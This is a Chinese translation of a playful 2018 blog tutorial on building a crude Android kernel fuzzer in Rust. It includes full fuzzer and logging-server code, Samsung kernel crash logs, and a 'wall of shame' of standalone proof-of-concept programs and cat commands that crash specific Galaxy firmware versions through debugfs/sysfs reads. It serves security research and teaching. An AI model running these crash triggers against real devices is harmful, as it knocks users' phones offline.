原文:https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html

译者注:原作者的文风比较活泼,所以,上车前,请各位做好相应的心理准备。

免责声明


请读者注意,这里讨论的安全问题并不是通用的Android漏洞,而是只影响某种型号的设备,所以,这些漏洞的危害程度都是有限的。另外,本文旨在为读者介绍如何亲自编写一个简陋的Android fuzzer,然后设法加以改进,而不是为了严肃地讨论Android的安全性问题。

代码下载地址


Slime Tree Repo

简介


在本文中,我们首先会动手打造一款简陋的Android fuzzer,然后进行改进,从而享受不断进步的喜悦之情。

在进行Android设备模糊测试时,我们需要做的第一件事就是获取手机上的设备列表,从而找出可以访问的设备。这很简单,对吧?为此,我们可以进入/dev目录,并运行ls -l命令,然后,从中查找所有用户都具有读或写权限的设备即可。嗯...对于selinux,情况并非如此,因为它还要求我们对selinux的策略有所了解才行。

为了解决这个问题,让我们先从最简单的地方下手:编写一个程序,只要求它能够在要挖掘漏洞的上下文中运行即可。该程序的功能非常简单,列出手机上的所有文件,并尝试打开它们,以进行读写操作。这样,我们就能得到一个列表,其中包含了我们在手机上有权打开的所有文件/设备。在本文中,我们将使用adb shell,因此,我们是在u:r:shell:s0上下文中运行。

遍历所有文件


好吧,我想要快速遍历手机上的所有文件,并判断自己是否对其具有读写权限。这件事情并不太难,完全可以通过Rust来实现。

/// Recursively list all files starting at the path specified by `dir`, saving
/// all files to `output_list`
fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
    // List the directory
    let list = std::fs::read_dir(dir);

    if let Ok(list) = list {
        // Go through each entry in the directory, if we were able to list the
        // directory safely
        for entry in list {
            if let Ok(entry) = entry {
                // Get the path representing the directory entry
                let path = entry.path();

                // Get the metadata and discard errors
                if let Ok(metadata) = path.symlink_metadata() {
                    // Skip this file if it's a symlink
                    if metadata.file_type().is_symlink() {
                        continue;
                    }

                    // Recurse if this is a directory
                    if metadata.file_type().is_dir() {
                        listdirs(&path, output_list);
                    }

                    // Add this to the directory listing if it's a file
                    if metadata.file_type().is_file() {
                        let can_read =
                            OpenOptions::new().read(true).open(&path).is_ok();

                        let can_write =
                            OpenOptions::new().write(true).open(&path).is_ok();

                        output_list.push((path, can_read, can_write));
                    }
                }
            }
        }
    }
}

对吧,这的确很简单。为了得到手机中完整的目录列表,我们可以借助下列代码:

// List all files on the system
let mut dirlisting = Vec::new();
listdirs(Path::new("/"), &mut dirlisting);

模糊测试


现在,我们已经能够获得包含所有文件的列表了。接下来,我们就可以通过手动方式来考察列表,并进行相应的源代码审核了。这种方法当然可以挖掘出手机中的安全漏洞,但问题是,我们能否让这个过程实现自动化呢?

如果我们想要直接对文件进行读写尝试的话,该怎么办呢?由于我们这些文件一无所知,所以,我们不妨直接写入一些合理大小的随机数据。

// List all files on the system
let mut listing = Vec::new();
listdirs(Path::new("/"), &mut listing);

// Fuzz buffer
let mut buf = [0x41u8; 8192];

// Fuzz forever
loop {
    // Pick a random file
    let rand_file = rand::random::<usize>() % listing.len();
    let (path, can_read, can_write) = &listing[rand_file];

    print!("{:?}\n", path);

    if *can_read {
        // Fuzz by reading
        let fd = OpenOptions::new().read(true).open(path);

        if let Ok(mut fd) = fd {
            let fuzz_size = rand::random::<usize>() % buf.len();
            let _ = fd.read(&mut buf[..fuzz_size]);
        }
    }

    if *can_write {
        // Fuzz by writing
        let fd = OpenOptions::new().write(true).open(path);
        if let Ok(mut fd) = fd {
            let fuzz_size = rand::random::<usize>() % buf.len();
            let _ = fd.write(&buf[..fuzz_size]);
        }
    }
}

当运行上述代码时,它几乎会立即停止,并且通常是“挂在”/sys/kernel/debug/tracing/per_cpu/cpu1/trace_pipe之类的东西上。一般情况下,手机上会有许多sysfs和procfs文件,当代码试图读取它们时,就会被永远挂起。由于这会阻止“fuzzer”继续运行,所以,我们需要设法绕过这个障碍。

但是,如果我们有128个线程的话,结果会如何呢?当然,某些线程肯定会被挂起,但是,至少有些线程还能多坚持一会,对吧?以下是完整的程序:

extern crate rand;

use std::sync::Arc;
use std::fs::OpenOptions;
use std::io::{Read, Write};
use std::path::{Path, PathBuf};

/// Maximum number of threads to fuzz with
const MAX_THREADS: u32 = 128;

/// Recursively list all files starting at the path specified by `dir`, saving
/// all files to `output_list`
fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
    // List the directory
    let list = std::fs::read_dir(dir);

    if let Ok(list) = list {
        // Go through each entry in the directory, if we were able to list the
        // directory safely
        for entry in list {
            if let Ok(entry) = entry {
                // Get the path representing the directory entry
                let path = entry.path();

                // Get the metadata and discard errors
                if let Ok(metadata) = path.symlink_metadata() {
                    // Skip this file if it's a symlink
                    if metadata.file_type().is_symlink() {
                        continue;
                    }

                    // Recurse if this is a directory
                    if metadata.file_type().is_dir() {
                        listdirs(&path, output_list);
                    }

                    // Add this to the directory listing if it's a file
                    if metadata.file_type().is_file() {
                        let can_read =
                            OpenOptions::new().read(true).open(&path).is_ok();

                        let can_write =
                            OpenOptions::new().write(true).open(&path).is_ok();

                        output_list.push((path, can_read, can_write));
                    }
                }
            }
        }
    }
}

/// Fuzz thread worker
fn worker(listing: Arc<Vec<(PathBuf, bool, bool)>>) {
    // Fuzz buffer
    let mut buf = [0x41u8; 8192];

    // Fuzz forever
    loop {
        let rand_file = rand::random::<usize>() % listing.len();
        let (path, can_read, can_write) = &listing[rand_file];

        //print!("{:?}\n", path);

        if *can_read {
            // Fuzz by reading
            let fd = OpenOptions::new().read(true).open(path);

            if let Ok(mut fd) = fd {
                let fuzz_size = rand::random::<usize>() % buf.len();
                let _ = fd.read(&mut buf[..fuzz_size]);
            }
        }

        if *can_write {
            // Fuzz by writing
            let fd = OpenOptions::new().write(true).open(path);
            if let Ok(mut fd) = fd {
                let fuzz_size = rand::random::<usize>() % buf.len();
                let _ = fd.write(&buf[..fuzz_size]);
            }
        }
    }
}

fn main() {
    // Optionally daemonize so we can swap from an ADB USB cable to a UART
    // cable and let this continue to run
    //daemonize();

    // List all files on the system
    let mut dirlisting = Vec::new();
    listdirs(Path::new("/"), &mut dirlisting);

    print!("Created listing of {} files\n", dirlisting.len());

    // We wouldn't do anything without any files
    assert!(dirlisting.len() > 0, "Directory listing was empty");

    // Wrap it in an `Arc`
    let dirlisting = Arc::new(dirlisting);

    // Spawn fuzz threads
    let mut threads = Vec::new();
    for _ in 0..MAX_THREADS {
        // Create a unique arc reference for this thread and spawn the thread
        let dirlisting = dirlisting.clone();
        threads.push(std::thread::spawn(move || worker(dirlisting)));
    }

    // Wait for all threads to complete
    for thread in threads {
        let _ = thread.join();
    }
}

extern {
    fn daemon(nochdir: i32, noclose: i32) -> i32;
}

pub fn daemonize() {
    print!("Daemonizing\n");

    unsafe {
        daemon(0, 0);
    }

    // Sleep to allow a physical cable swap
    std::thread::sleep(std::time::Duration::from_secs(10));
}

对于上述代码,它们会遍历手机内所有目录,从而得到一个完整的目录列表,然后启动MAX_THREADS个线程,这些线程将不断地随机选择要读写的文件。

好了,现在我们已经打造了一款“世界级”的Android内核fuzzer,接下来,看看能否用它找到一些0-day漏洞!

首先,让我们在三星Galaxy S8 (G950FXXU4CRI5)上运行这个程序,然后,从手机中读取/proc/last_kmsg文件,看看我们是如何让它崩溃的:

Unable to handle kernel paging request at virtual address 00662625
sec_debug_set_extra_info_fault = KERN / 0x662625
pgd = ffffffc0305b1000
[00662625] *pgd=00000000b05b7003, *pud=00000000b05b7003, *pmd=0000000000000000
Internal error: Oops: 96000006 [#1] PREEMPT SMP
exynos-snapshot: exynos_ss_get_reason 0x0 (CPU:1)
exynos-snapshot: core register saved(CPU:1)
CPUMERRSR: 0000000002180488, L2MERRSR: 0000000012240160
exynos-snapshot: context saved(CPU:1)
exynos-snapshot: item - log_kevents is disabled
TIF_FOREIGN_FPSTATE: 0, FP/SIMD depth 0, cpu: 0
CPU: 1 MPIDR: 80000101 PID: 3944 Comm: Binder:3781_3 Tainted: G        W       4.4.111-14315050-QB19732135 #1
Hardware name: Samsung DREAMLTE EUR rev06 board based on EXYNOS8895 (DT)
task: ffffffc863c00000 task.stack: ffffffc863938000
PC is at kmem_cache_alloc_trace+0xac/0x210
LR is at binder_alloc_new_buf_locked+0x30c/0x4a0
pc : [<ffffff800826f254>] lr : [<ffffff80089e2e50>] pstate: 60000145
sp : ffffffc86393b960
[<ffffff800826f254>] kmem_cache_alloc_trace+0xac/0x210
[<ffffff80089e2e50>] binder_alloc_new_buf_locked+0x30c/0x4a0
[<ffffff80089e3020>] binder_alloc_new_buf+0x3c/0x5c
[<ffffff80089deb18>] binder_transaction+0x7f8/0x1d30
[<ffffff80089e0938>] binder_thread_write+0x8e8/0x10d4
[<ffffff80089e11e0>] binder_ioctl_write_read+0xbc/0x2ec
[<ffffff80089e15dc>] binder_ioctl+0x1cc/0x618
[<ffffff800828b844>] do_vfs_ioctl+0x58c/0x668
[<ffffff800828b980>] SyS_ioctl+0x60/0x8c
[<ffffff800815108c>] __sys_trace_return+0x0/0x4

太棒了,竟然解除了对地址00662625的引用,这可是我最喜欢的内核地址!看起来,这里的崩溃是某种形式的堆损坏所致。我们大概率能够利用这个漏洞,特别是如果我们能够映射到0x00662625处的好,我们就能够从用户空间来控制内核空间中的对象了。这种特定的bug已经很少见了,不过,大家可以在“耻辱墙”部分找到各种具有针对性的POC。

“fuzzer”的应用技巧


虽然这个fuzzer看起来非常简单,但是掌握下列技巧,对于我们来说还是非常有帮助的。

技巧集:

  • 定期重启fuzzer,因为它经常会卡住
  • 在手机上做一些随机的事情,比如浏览或使用相机,以触发内核的某些活动
  • 关闭应用程序并经常拔掉ADB USB电缆,这可能会导致应用程序突然“挂掉”,从而触发某些漏洞
  • 将MAX_THREADS的值从低到高依次调整
  • 对于某些文件,如果一旦读取它们就会导致代码永久性挂起的话,则将其添加到相应的黑名单中

使用上面的技巧,我几乎可以让这个fuzzer在我4年中用过的所有手机上正常运行,不过,随着selinux策略规则越来越严格,将来的成功的机会将会越来越少。

下一款设备


好的,上面我们一家尝试了最新的Galaxy S8,接下来,让我们看看这个fuzzer在老款Galaxy S5(G900FXXU1CRH1)手机上的表现如何。实际上,这里会崩溃地更快。但是,当我们尝试读取/proc/last_kmsg的时候,我们将发现该文件根本就不存在。为此,我们又在USB上尝试了带有619k电阻器的UART电缆,并对应用程序执行daemonize(),以期观察到崩溃情况。然而,就这里来说,这一招也没有奏效(老实说,不知道为什么,我虽然得到了dmesg输出,但没有找到死机日志)。

好了,现在我们遇到了一个难题,那么,接下来该如何从根本上解决这个问题呢?实际上,我们可以对文件系统进行二分查找,并将某些文件夹列入黑名单,从而进一步缩小搜索范围。废话少说,放手干吧!

首先,让我们只允许使用/sys/*,所有其他文件都将被禁止,因为这些问题根源通常位于sysfs和procfs目录中。为此,我们可以将目录列表调用改为

listdirs(Path::new("/sys"), &mut dirlisting);

哇,真的有效!崩溃得更快了,这次我们将范围限制为/sys。由此可以推断出,问题根源位于/sys中。
现在,我们将深入考察/sys,比如,我们可以先尝试/sys/devices目录……哎,这次的运气不佳。所以,还得继续尝试其他目录,比如/sys/kernel……太好了,这次成功了!

所以,我们可以将范围进一步缩小到/sys/kernel/debug目录,即使如此,这个目录中也还有85个文件夹。这个数量还是不少,所以我才不想手工完成相应的工作呢。所以,能否改进一下我们的fuzzer呢?

改进fuzzer


就目前来说,我们还不知道是操作哪些文件时导致了崩溃。不过,我们可以将其全部输出,然后利用ADB进行检查,但是当手机死机时,无法进行同步……我们需要更好的方法。

也许,我们应该通过网络发送正在进行模糊测试的文件名,然后通过一个服务来确认文件名,这样文件就不会被“触及”了,除非它们已经确认要通过网络进行报告。不过,这会不会太慢呢?这个倒是很难说,不如让我们试一试吧!

首先,使用Rust编写一个简单的服务器,让其在我们的主机上运行,然后通过adb reverse tcp:13370 tcp:13370命令,将手机通过ADB USB连接到这个服务器,这样就会把手机上指向127.0.0.1:13370端口的连接转发到运行服务器的主机上,以便记录下相应的文件名。

设计一个糟糕的协议


我们需要一个在TCP上工作的快速协议来发送文件名。为此,这个协议越简单越好:客户端发送文件名,然后服务器以“ACK”进行响应。为了保持简单起见,这里既不考虑线程问题,也不考虑文件被访问后经常出现的堆损坏问题。毕竟我们的要求并不高,只要弄出一个可用的fuzzer就行了,对吧?

use std::net::TcpListener;
use std::io::{Read, Write};

fn main() -> std::io::Result<()> {
    let listener = TcpListener::bind("0.0.0.0:13370")?;

    let mut buffer = vec![0u8; 64 * 1024];

    for stream in listener.incoming() {
        print!("Got new connection\n");

        let mut stream = stream?;

        loop {
            if let Ok(bread) = stream.read(&mut buffer) {
                // Connection closed, break out
                if bread == 0 {
                    break;
                }

                // Send acknowledge
                stream.write(b"ACK").expect("Failed to send ack");
                stream.flush().expect("Failed to flush");

                let string = std::str::from_utf8(&buffer[..bread])
                    .expect("Invalid UTF-8 character in string");
                print!("Fuzzing: {}\n", string);
            } else {
                // Failed to read, break out
                break;
            }
        }
    }

    Ok(())
}

这个服务器的代码很垃圾,但对于我们来说却刚刚好。无论如何,我们要做的是一个fuzzer,如果所有代码都完美无瑕,我们到哪里去找bug去。

客户端代码


对于手机来说,我们只要在上面实现一个简单的函数即可:

// Connect to the server we report to and pass this along to functions
// threads that need socket access
let stream = Arc::new(Mutex::new(TcpStream::connect("127.0.0.1:13370")
    .expect("Failed to open TCP connection")));

fn inform_filename(handle: &Mutex<TcpStream>, filename: &str) {
    // Report the filename
    let mut socket = handle.lock().expect("Failed to lock mutex");
    socket.write_all(filename.as_bytes()).expect("Failed to write");
    socket.flush().expect("Failed to flush");

    // Wait for an ACK
    let mut ack = [0u8; 3];
    socket.read_exact(&mut ack).expect("Failed to read ack");
    assert!(&ack == b"ACK", "Did not get ACK as expected");
}

制作黑名单


好了,现在我们有了一个日志,其中记录了我们正在模糊的所有文件,并且这些文件得到了服务器的确认,这样我们就不会丢失任何东西了。让我们将它设置为单线程模式,这样做的好处就是,我们再也不用担心竞争条件了。

我们会看到,它经常会因某些文件而“挂掉”,我们可把这些文件记录下来,以此制作黑名单。为此,需要一些“体力劳动”:通常要向这个列表中放入少量(5-10个)文件。一般来说,我会根据文件名的开头部分来制作黑名单,因此可以根据starts_with的匹配结果将整个目录列入黑名单。

继续进行模糊测试


因此,我们可以看到,在崩溃之前接触的最后一个文件是/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout

下面,我们给出一个完全独立的PoC:

use std::fs::File;
use std::io::Read;

fn thrasher() {
    // Buffer to read into
    let mut buf = [0x41u8; 8192];

    let fn = "/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout";

    loop {
        if let Ok(mut fd) = File::open(fn) {
            let _ = fd.read(&mut buf);
        }
    }
}

fn main() {
    // Make fuzzing threads
    let mut threads = Vec::new();
    for _ in 0..4 {
        threads.push(std::thread::spawn(move || thrasher()));
    }

    // Wait for all threads to exit
    for thr in threads {
        let _ = thr.join();
    }
}

多么棒的PoC啊!

下一个bug?


因此,既然我们已经找到了导致bug的根源,我们就应该将已知会导致bug的特定文件都列入黑名单,然后再试一次。因为这个bug很可能隐藏了另一个。

不,除此之外,已经没有bug了,因为按照官方的说法,S5是非常安全的,已经修复了所有的bug。

一个时代的终结


可悲的是,这个fuzzer即将成为历史。过去,它几乎适用于每部手机,即使手机启用了selinux,它仍然适用。但遗憾的是,随着时间的推移,这些bug已经隐藏到了selinux策略的背后,我们根本无法触及它们。目前,我只能说该fuzzer适用于我手头上的几部手机,而不是所有手机,令人欣慰的是,至少它在过去是行得通的。

这个fuzzer肯定还有很多待改进之处,毕竟本文的目标是打造一款“糟糕”的fuzzer,而不是一个“令人满意”的fuzzer。如果读者精力旺盛的话,可以继续鼓捣,比如:

  • 让它随机调用ioctl()
  • 尝试使用mmap()并使用这些设备的映射
  • 了解文件的真实需求
  • 采用多进程之类的方法让fuzzer卡住时还能继续运行
  • 使其在手机挂掉之前运行1分钟以上的时间
  • 制作更好的黑名单/白名单

将来,也许我会撰文介绍如何利用这些漏洞,或者从源代码中寻找问题的根源。

耻辱墙


大家可以在自己的测试手机上跑一下这个fuzzer(注意,不要在日常使用的手机上跑,这可能是一个糟糕的主意)。如果您发现任何愚蠢的错误,请一定通知我,以便将其添加到耻辱墙上。

G900F (Exynos Galaxy S5) [G900FXXU1CRH1] (August 1, 2017)


PoC


use std::fs::File;
use std::io::Read;

fn thrasher() {
    // Buffer to read into
    let mut buf = [0x41u8; 8192];

    let fn = "/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout";

    loop {
        if let Ok(mut fd) = File::open(fn) {
            let _ = fd.read(&mut buf);
        }
    }
}

fn main() {
    // Make fuzzing threads
    let mut threads = Vec::new();
    for _ in 0..4 {
        threads.push(std::thread::spawn(move || thrasher()));
    }

    // Wait for all threads to exit
    for thr in threads {
        let _ = thr.join();
    }
}

J200H (Galaxy J2) [J200HXXU0AQK2] (August 1, 2017)


不要求root权限,可以直接运行该fuzzer

[c0] Unable to handle kernel paging request at virtual address 62655726
[c0] pgd = c0004000
[c0] [62: ee456000
[c0] PC is at devres_for_each_res+0x68/0xdc
[c0] LR is at 0x62655722
[c0] pc : [<c0302848>]    lr : [<62655722>]    psr: 000d0093
sp : ee457d20  ip : 00000000  fp : ee457d54
[c0] r10: ed859210  r9 : c0c833e4  r8 : ed859338
[c0] r7 : ee456000
[c0] PC is at devres_for_each_res+0x68/0xdc
[c0] LR is at 0x62655722
[c0] pc : [<c0302848>]    lr : [<62655722>]    psr: 000d0093
[c0] [<c0302848>] (devres_for_each_res+0x68/0xdc) from [<c030d5f0>] (dev_cache_fw_image+0x4c/0x118)
[c0] [<c030d5f0>] (dev_cache_fw_image+0x4c/0x118) from [<c0306050>] (dpm_for_each_dev+0x4c/0x6c)
[c0] [<c0306050>] (dpm_for_each_dev+0x4c/0x6c) from [<c030d824>] (fw_pm_notify+0xe4/0x100)
[c0] [<c030d0013 00000000 ffffffff ffffffff
[c0] [<c0302848>] (devres_for_each_res+0x68/0xdc) from [<c030d5f0>] (dev_cache_fw_image+0x4c/0x118)
[c0] [<c030d5f0>] (dev_cache_fw_image+0x4c/0x118) from [<c0306050>] (dpm_for_each_dev+0x4c/0x6c)
[c0] [<c0306050>] (dpm_for_each_dev+0x4c/0x6c) from [<c030d824>] (fw_pm_notify+0xe4/0x100)
[c0] [<c030d[<c0063824>] (pm_notifier_call_chain+0x28/0x3c)
[c0] [<c0063824>] (pm_notifier_call_chain+0x28/0x3c) from [<c00644a0>] (pm_suspend+0x154/0x238)
[c0] [<c00644a0>] (pm_suspend+0x154/0x238) from [<c00657bc>] (suspend+0x78/0x1b8)
[c0] [<c00657bc>] (suspend+0x78/0x1b8) from [<c003d6bc>] (process_one_work+0x160/0x4b8)
[c0] [<c003d6bc>] [<c0063824>] (pm_notifier_call_chain+0x28/0x3c)
[c0] [<c0063824>] (pm_notifier_call_chain+0x28/0x3c) from [<c00644a0>] (pm_suspend+0x154/0x238)
[c0] [<c00644a0>] (pm_suspend+0x154/0x238) from [<c00657bc>] (suspend+0x78/0x1b8)
[c0] [<c00657bc>] (suspend+0x78/0x1b8) from [<c003d6bc>] (process_one_work+0x160/0x4b8)

J500H (Galaxy J5) [J500HXXU2BQI1] (August 1, 2017)


cat /sys/kernel/debug/usb_serial0/readstatus

或者:

cat /sys/kernel/debug/usb_serial1/readstatus

或者:

cat /sys/kernel/debug/usb_serial2/readstatus

或者:

cat /sys/kernel/debug/usb_serial3/readstatus

J500H (Galaxy J5) [J500HXXU2BQI1] (August 1, 2017)


cat /sys/kernel/debug/mdp/xlog/dump

J500H (Galaxy J5) [J500HXXU2BQI1] (August 1, 2017)


cat /sys/kernel/debug/rpm_master_stats
J700H (Galaxy J7) [J700HXXU3BRC2] (August 1, 2017)

不要求root权限,可以直接运行该fuzzer

Unable to handle kernel paging request at virtual address ff00000107
pgd = ffffffc03409d000
[ff00000107] *pgd=0000000000000000
mms_ts 9-0048: mms_sys_fw_update [START]
mms_ts 9-0048: mms_fw_update_from_storage [START]
mms_ts 9-0048: mms_fw_update_from_storage [ERROR] file_open - path[/sdcard/melfas.mfsb]
mms_ts 9-0048: mms_fw_update_from_storage [ERROR] -3
mms_ts 9-0048: mms_sys_fw_update [DONE]
muic-universal:muic_show_uart_sel AP
usb: enable_show dev->enabled=1
sm5703-fuelga0000000000000000
Kernel BUG at ffffffc00034e124 [verbose debug info unavailable]
Internal error: Oops - BUG: 96000004 [#1] PREEMPT SMP
exynos-snapshot: item - log_kevents is disabled
CPU: 4 PID: 9022 Comm: lulandroid Tainted: G        W    3.10.61-8299335 #1
task: ffffffc01049cc00 ti: ffffffc002824000 task.ti: ffffffc002824000
PC is at sysfs_open_file+0x4c/0x208
LR is at sysfs_open_file+0x40/0x208
pc : [<ffffffc00034e124>] lr : [<ffffffc00034e118>] pstate: 60000045
sp : ffffffc002827b70

G920F (Exynos Galaxy S6) [G920FXXU5DQBC] (Febuary 1, 2017) 现在已经启用了selinux :(


sec_debug_store_fault_addr 0xffffff80000fe008
Unhandled fault: synchronous external abort (0x96000010) at 0xffffff80000fe008
------------[ cut here ]------------
Kernel BUG at ffffffc0003b6558 [verbose debug info unavailable]
Internal error: Oops - BUG: 96000010 [#1] PREEMPT SMP
exynos-snapshot: core register saved(CPU:0)
CPUMERRSR: 0000000012100088, L2MERRSR: 00000000111f41b8
exynos-snapshot: context saved(CPU:0)
exynos-snapshot: item - log_kevents is disabled
CPU: 0 PID: 5241 Comm: hookah Tainted: G        W      3.18.14-9519568 #1
Hardware name: Samsung UNIVERSAL8890 board based on EXYNOS8890 (DT)
task: ffffffc830513000 ti: ffffffc822378000 task.ti: ffffffc822378000
PC is at samsung_pin_dbg_show_by_type.isra.8+0x28/0x68
LR is at samsung_pinconf_dbg_show+0x88/0xb0
Call trace:
[<ffffffc0003b6558>] samsung_pin_dbg_show_by_type.isra.8+0x28/0x68
[<ffffffc0003b661c>] samsung_pinconf_dbg_show+0x84/0xb0
[<ffffffc0003b66d8>] samsung_pinconf_group_dbg_show+0x90/0xb0
[<ffffffc0003b4c84>] pinconf_groups_show+0xb8/0xec
[<ffffffc0002118e8>] seq_read+0x180/0x3ac
[<ffffffc0001f29b8>] vfs_read+0x90/0x148
[<ffffffc0001f2e7c>] SyS_read+0x44/0x84

G950F (Exynos Galaxy S8) [G950FXXU4CRI5] (September 1, 2018)


可以通过在内核中获取PC来引发手机崩溃。可能是竞争条件导致的堆破坏所致。

(这个由PC导致的崩溃可能是通过过去某个旧版repro引发的,具体记不清了,可能是2018年4月左右的某个版本)

task: ffffffc85f672880 ti: ffffffc8521e4000 task.ti: ffffffc8521e4000
PC is at jopp_springboard_blr_x2+0x14/0x20
LR is at seq_read+0x15c/0x3b0
pc : [<ffffffc000c202b0>] lr : [<ffffffc00024a074>] pstate: a0000145
sp : ffffffc8521e7d20
x29: ffffffc8521e7d30 x28: ffffffc8521e7d90
x27: ffffffc029a9e640 x26: ffffffc84f10a000
x25: ffffffc8521e7ec8 x24: 00000072755fa348
x23: 0000000080000000 x22: 0000007282b8c3bc
x21: 0000000000000e71 x20: 0000000000000000
x19: ffffffc029a9e600 x18: 00000000000000a0
x17: 0000007282b8c3b4 x16: 00000000ff419000
x15: 000000727dc01b50 x14: 0000000000000000
x13: 000000000000001f x12: 00000072755fa1a8
x11: 00000072755fa1fc x10: 0000000000000001
x9 : ffffffc858cc5364 x8 : 0000000000000000
x7 : 0000000000000001 x6 : 0000000000000001
x5 : ffffffc000249f18 x4 : ffffffc000fcace8
x3 : 0000000000000000 x2 : ffffffc84f10a000
x1 : ffffffc8521e7d90 x0 : ffffffc029a9e600

PC: 0xffffffc000c20230:
0230  128001a1 17fec15d 128001a0 d2800015 17fec46e 128001b4 17fec62b 00000000
0250  01bc8a68 ffffffc0 d503201f a9bf4bf0 b85fc010 716f9e10 712eb61f 54000040
0270  deadc0de a8c14bf0 d61f0000 a9bf4bf0 b85fc030 716f9e10 712eb61f 54000040
0290  deadc0de a8c14bf0 d61f0020 a9bf4bf0 b85fc050 716f9e10 712eb61f 54000040
02b0  deadc0de a8c14bf0 d61f0040 a9bf4bf0 b85fc070 716f9e10 712eb61f 54000040
02d0  deadc0de a8c14bf0 d61f0060 a9bf4bf0 b85fc090 716f9e10 712eb61f 54000040
02f0  deadc0de a8c14bf0 d61f0080 a9bf4bf0 b85fc0b0 716f9e10 712eb61f 54000040
0310  deadc0de a8c14bf0 d61f00a0 a9bf4bf0 b85fc0d0 716f9e10 712eb61f 54000040

PoC


extern crate rand;

use std::fs::File;
use std::io::Read;

fn thrasher() {
    // These are the 2 files we want to fuzz
    let random_paths = [
        "/sys/devices/platform/battery/power_supply/battery/mst_switch_test",
        "/sys/devices/platform/battery/power_supply/battery/batt_wireless_firmware_update"
    ];

    // Buffer to read into
    let mut buf = [0x41u8; 8192];

    loop {
        // Pick a random file
        let file = &random_paths[rand::random::<usize>() % random_paths.len()];

        // Read a random number of bytes from the file
        if let Ok(mut fd) = File::open(file) {
            let rsz = rand::random::<usize>() % (buf.len() + 1);
            let _ = fd.read(&mut buf[..rsz]);
        }
    }
}

fn main() {
    // Make fuzzing threads
    let mut threads = Vec::new();
    for _ in 0..4 {
        threads.push(std::thread::spawn(move || thrasher()));
    }

    // Wait for all threads to exit
    for thr in threads {
        let _ = thr.join();
    }
}

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖